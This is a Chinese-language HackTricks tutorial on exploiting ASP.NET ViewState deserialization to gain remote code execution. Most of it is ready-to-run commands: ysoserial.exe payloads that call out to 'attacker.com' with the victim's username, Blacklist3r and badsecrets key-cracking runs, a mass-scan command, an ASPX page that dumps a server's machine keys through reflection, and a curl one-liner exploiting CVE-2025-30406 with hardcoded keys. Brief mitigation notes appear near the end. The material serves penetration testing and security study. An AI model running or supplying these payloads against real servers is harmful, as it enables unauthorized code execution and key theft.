利用 __VIEWSTATE 而不知其秘密

Reading time: 16 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 ViewState

ViewState 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。

ViewState 信息可以通过以下属性或其组合来表征:

  • Base64:
  • EnableViewStateMacViewStateEncryptionMode 属性都设置为 false 时,使用此格式。
  • Base64 + MAC(消息认证码)启用:
  • 通过将 EnableViewStateMac 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。
  • Base64 + 加密:
  • ViewStateEncryptionMode 属性设置为 true 时应用加密,以确保 ViewState 数据的机密性。

测试用例

该图像是一个表格,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要:

  1. 对于 任何版本的 .NET,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。
  2. 对于 4.5 版本以下,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
  3. 对于 4.5 版本以下,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
  4. 对于 4.5 版本及以上,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 来识别 MachineKey。

测试用例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false

还可以通过将 AspNetEnforceViewStateMac 注册表项设置为零来完全禁用 ViewStateMAC:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

识别 ViewState 属性

您可以尝试通过使用 BurpSuite 捕获包含此参数的请求来识别 ViewState 是否受到 MAC 保护。如果未使用 Mac 保护该参数,您可以使用 YSoSerial.Net 进行利用。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

开发人员可以移除 ViewState,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie)。
人们可能会假设,如果ViewState****不存在,他们的实现就安全,不会出现与 ViewState 反序列化相关的潜在漏洞。
然而,事实并非如此。如果我们将 ViewState 参数添加到请求体中,并发送我们使用 ysoserial 创建的序列化有效负载,我们仍然能够实现代码执行,如案例 1所示。

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

为了启用 ViewState MAC,我们需要在特定的 aspx 文件上进行以下更改:

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

我们还可以通过在 web.config 文件中设置它来实现 整体 应用,如下所示:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

由于该参数受到MAC保护,因此要成功执行攻击,我们首先需要使用的密钥。

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找使用的密钥。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,没有 Windows 依赖。对于 .NET viewstates,有一个 "python blacklist3r" 工具,这是使用它的最快方法。

它可以直接提供 viewstate 和 generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

要大规模搜索易受攻击的 viewstate,结合子域枚举,可以使用 badsecrets BBOT 模块:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

如果你运气好并且找到了密钥,你可以使用 YSoSerial.Net**:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

在服务器未发送_VIEWSTATEGENERATOR参数的情况下,您需要提供--generator参数而是这些

bash
--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true

在这种情况下,尚不清楚该参数是否受到 MAC 保护。因此,值可能是加密的,您将需要机器密钥来加密您的有效负载以利用该漏洞。

在这种情况下, Blacklist3r 模块正在开发中...

在 .NET 4.5 之前, ASP.NET 可以接受来自用户的未加密 ___VIEWSTATE_ 参数,即使**ViewStateEncryptionMode** 已设置为 始终。ASP.NET 仅检查请求中**__VIEWSTATEENCRYPTED** 参数的存在如果删除此参数并发送未加密的有效负载,它仍然会被处理。

因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在案例 2中使用的 YSoSerial.Net 命令通过 ViewState 反序列化漏洞执行 RCE。

  • 从请求中删除 __VIEWSTATEENCRYPTED 参数以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。

Test Case: 4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除非两个属性都为 false

我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。

xml
<httpRuntime targetFramework="4.5" />

另外,可以通过在 web.config 文件的 machineKey 参数中指定以下选项来完成此操作。

bash
compatibilityMode="Framework45"

如前所述,值是加密的。 然后,要发送有效的有效负载,攻击者需要密钥

您可以尝试使用 Blacklist3r(AspDotNetWrapper.exe) 来查找正在使用的密钥:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

对于IISDirPath和TargetPagePath的更详细描述,请参见这里

或者,使用Badsecrets(带生成器值):

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

一旦识别出有效的机器密钥,下一步是使用 YSoSerial.Net 生成序列化有效负载

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

如果您拥有 __VIEWSTATEGENERATOR 的值,您可以尝试使用 --generator 参数并省略 --path--apppath 参数。

成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了演示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多详细信息,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 PoC of Successful Exploitation

测试用例 6 – 使用 ViewStateUserKeys

ViewStateUserKey 属性可以用来 防御 CSRF 攻击。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 ViewState 有效负载,则 有效负载将不会被应用程序处理
您需要使用一个额外的参数才能正确创建有效负载:

bash
--viewstateuserkey="randomstringdefinedintheserver"

成功利用的结果

对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 成功,则服务器会响应“500 内部服务器错误”,响应内容为“此页面的状态信息无效,可能已损坏”,并且我们会得到 OOB 请求。

查看 进一步的信息在这里

通过反射转储 ASP.NET 机器密钥 (SharPyShell/SharePoint ToolShell)

能够 上传或执行任意 ASPX 代码 的攻击者可以直接检索保护 __VIEWSTATE 的秘密密钥,而不是进行暴力破解。一个泄露密钥的最小有效负载利用了内部 .NET 类通过反射:

csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

请求页面会打印出 ValidationKeyDecryptionKey、加密算法和 ASP.NET 兼容模式。这些值现在可以直接输入到 ysoserial.net 中,以创建一个有效的、已签名的 __VIEWSTATE gadget:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

这个 key-exfiltration primitive 在2025年被大规模利用于本地SharePoint服务器(“ToolShell” – CVE-2025-53770/53771),但它适用于任何可以运行服务器端代码的ASP.NET应用程序。

2024-2025年实际利用场景和硬编码机器密钥

微软“公开披露的机器密钥”浪潮(2024年12月 – 2025年2月)

微软威胁情报报告了对ASP.NET网站的大规模利用,这些网站的 machineKey 之前在公共来源(GitHub gists、博客文章、粘贴网站)上被泄露。对手枚举了这些密钥,并使用更新的 ysoserial.net 1.41 --minify--islegacy 标志生成有效的 __VIEWSTATE gadgets,以规避WAF长度限制:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

旋转静态密钥或在 Web .config 中切换到 AutoGenerate 密钥(<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />)可以减轻这一类攻击。

CVE-2025-30406 – Gladinet CentreStack / Triofox 硬编码密钥

Kudelski Security 发现多个 CentreStack / Triofox 版本使用相同的 machineKey 值,从而通过 ViewState 伪造实现未经身份验证的远程代码执行(CVE-2025-30406)。

一行利用代码:

bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

在 CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 中修复 – 立即升级或更换密钥。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks